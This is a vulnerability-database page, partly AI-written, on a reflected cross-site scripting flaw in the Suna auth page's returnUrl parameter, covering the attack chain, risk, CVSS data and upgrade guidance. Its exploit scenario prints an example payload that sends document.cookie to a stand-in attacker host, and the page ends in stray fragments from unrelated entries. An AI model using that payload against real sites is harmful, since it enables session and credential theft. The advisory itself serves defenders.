Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed Suna auth endpoint
-
DeliveryCraft URL with malicious javascript: returnUrl payload
-
ExploitDeliver link to victim via phishing
-
ExecutionVictim clicks link and interacts with auth page
-
Persistrouter.push executes unsanitized returnUrl as JavaScript
-
ImpactAttacker harvests session data or redirects victim
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The auth page and actions must be version 0.8.38 or earlier (pre-patch). The attacker must control the returnUrl parameter value delivered to the victim's browser - typically via a crafted hyperlink. User interaction is required: the victim must click the attacker-supplied link and actively engage with the auth page (passive page load alone is insufficient per UI:P). No authentication is required from the attacker; the vulnerability exists entirely in pre-authentication flows. The vulnerability is present across all auth actions (signIn, signUp, resetPassword, signInWithPassword, signUpWithPassword, sendOtpCode, resendMagicLink, installOwner), meaning the attacker is not limited to a single entry point. Exploitation is limited by: requirement for victim user interaction, the need to reach a Suna instance (internal deployments may not be internet-exposed), and any CSP headers that would block inline script or javascript: navigation. |
| Impact | Despite a CVSS 4.0 base score of only 2.1 (vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N), real-world risk is moderate for deployments where users log in via phishing-susceptible channels. The low score reflects the UI:P (passive user interaction) requirement and the absence of confidentiality impact in the formal vector - however, a successful reflected XSS against an authentication page can enable credential harvesting, session token theft (if HttpOnly is not enforced), or UI redress attacks, all of which the formal vector likely underweights. EPSS data was not provided in the input; KEV listing is absent, indicating no confirmed mass exploitation. A public PoC exists on GitHub Gist, lowering the bar for opportunistic attackers. The CVSS 4.0 supplemental metric E:P (exploit maturity: proof of concept) corroborates this. The researcher noted the patch was applied silently without a public security disclosure, meaning many operators may remain unpatched without awareness of the risk. The combination of a trivially exploitable auth-page parameter, a public PoC, and silent patching elevates practical risk above what the formal CVSS score implies. |
| Exploit ScenarioDerived | An attacker crafts a URL targeting a Suna instance's /auth page with a malicious returnUrl value such as javascript:fetch('https://attacker.example/steal?c='+document.cookie) and delivers it via phishing email or social engineering. When the victim clicks the link and interacts with the auth page (e.g., clicks sign-in), the unsanitized returnUrl is passed to router.push/router.replace, executing the attacker's JavaScript in the victim's browser context. A public PoC demonstrating this technique is available at https://gist.github.com/TrebledJ/fe7241910ac0aaeff86243fc88e9ffed. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Reflected cross-site scripting in Suna's authentication endpoint allows remote attackers to execute arbitrary JavaScript in a victim's browser by manipulating the returnURL parameter passed to Next.js router.replace/router.push. All Suna releases from 0.8.0 through 0.8.38 are affected; the flaw spans every auth action (signIn, signUp, resetPassword, signInWithPassword, signUpWithPassword, sendOtpCode, resendMagicLink, installOwner) because none sanitized the returnUrl form field before use. A public proof-of-concept exploit exists (GitHub Gist by TrebledJ); no public exploitation confirmed and the vulnerability is not listed in CISA KEV.
RemediationAI
Upgrade Suna to version 0.8.39 or later; this is a vendor-released patch confirmed by both the tagged release at https://github.com/kortix-ai/suna/releases/tag/v0.8.39 and commit f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. If immediate upgrade is not possible, apply a compensating control by enforcing a server-side allowlist on the returnUrl parameter, rejecting any values that do not match expected internal path patterns (e.g., must begin with '/' and contain no protocol specifier or external host). Alternatively, configure a WAF rule to block requests to /auth endpoints where the returnUrl parameter contains 'javascript:', data URIs, or external hostnames - note this may break legitimate deep-link flows if the allowlist is too narrow and requires testing. The researcher notes the fix was deployed silently without a security disclosure, so operators should treat any Suna deployment prior to 0.8.39 as unpatched regardless of when it was last updated.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Suna is a Next.js-based AI agent web platform (CPE cpe:2.3:a:kortix-ai:suna:*:*:*:*:*:*:*:*). The authentication server actions in apps/web/src/app/auth/actions.ts read the returnUrl value directly from FormData without sanitization, then pass it to router.replace or router.push - Next.js client-side navigation functions that accept arbitrary URL strings including JavaScript: protocol URIs. This pattern is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation / Cross-Site Scripting). The root cause is the absence of any allowlist or sanitization layer on the returnUrl parameter across all eight auth action handlers. The fix (commit f5dec7aa) introduces a sanitizeAuthReturnUrl() helper from @/lib/auth/return-url that is applied to every auth action's returnUrl extraction point before the value is used.
Know when Suna gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Network-accessible pre-auth endpoint, no privileges needed, victim interaction required; scope changes to browser context enabling credential/session theft.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
2DescriptionCVE.org
A weakness has been identified in kortix-ai suna up to 0.8.38. Affected by this issue is the function router.replace/router.push of the file apps/frontend/src/app/auth/page.tsx of the component Auth Endpoint. Executing a manipulation of the argument returnURL can lead to cross site scripting. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks. Upgrading to version 0.8.39 can resolve this issue. This patch is called f5dec7aa0c1b8fa0125938f292c0f2430ca75f6c. It is advisable to upgrade the affected component. The researcher explains: "The issue was fixed in v0.8.39 without notifying the wider user base via a security disclosure."
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
We are tasked to produce a JSON analysis for CVE-2026-66027 based on the provided data. The analysis must synthesize all
Server-side request forgery in Kortix Suna 0.10.7 through 0.13.51 allows an authenticated user holding the project.conne
EUVD-2026-38197
GHSA-fpgm-v536-ccc8
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB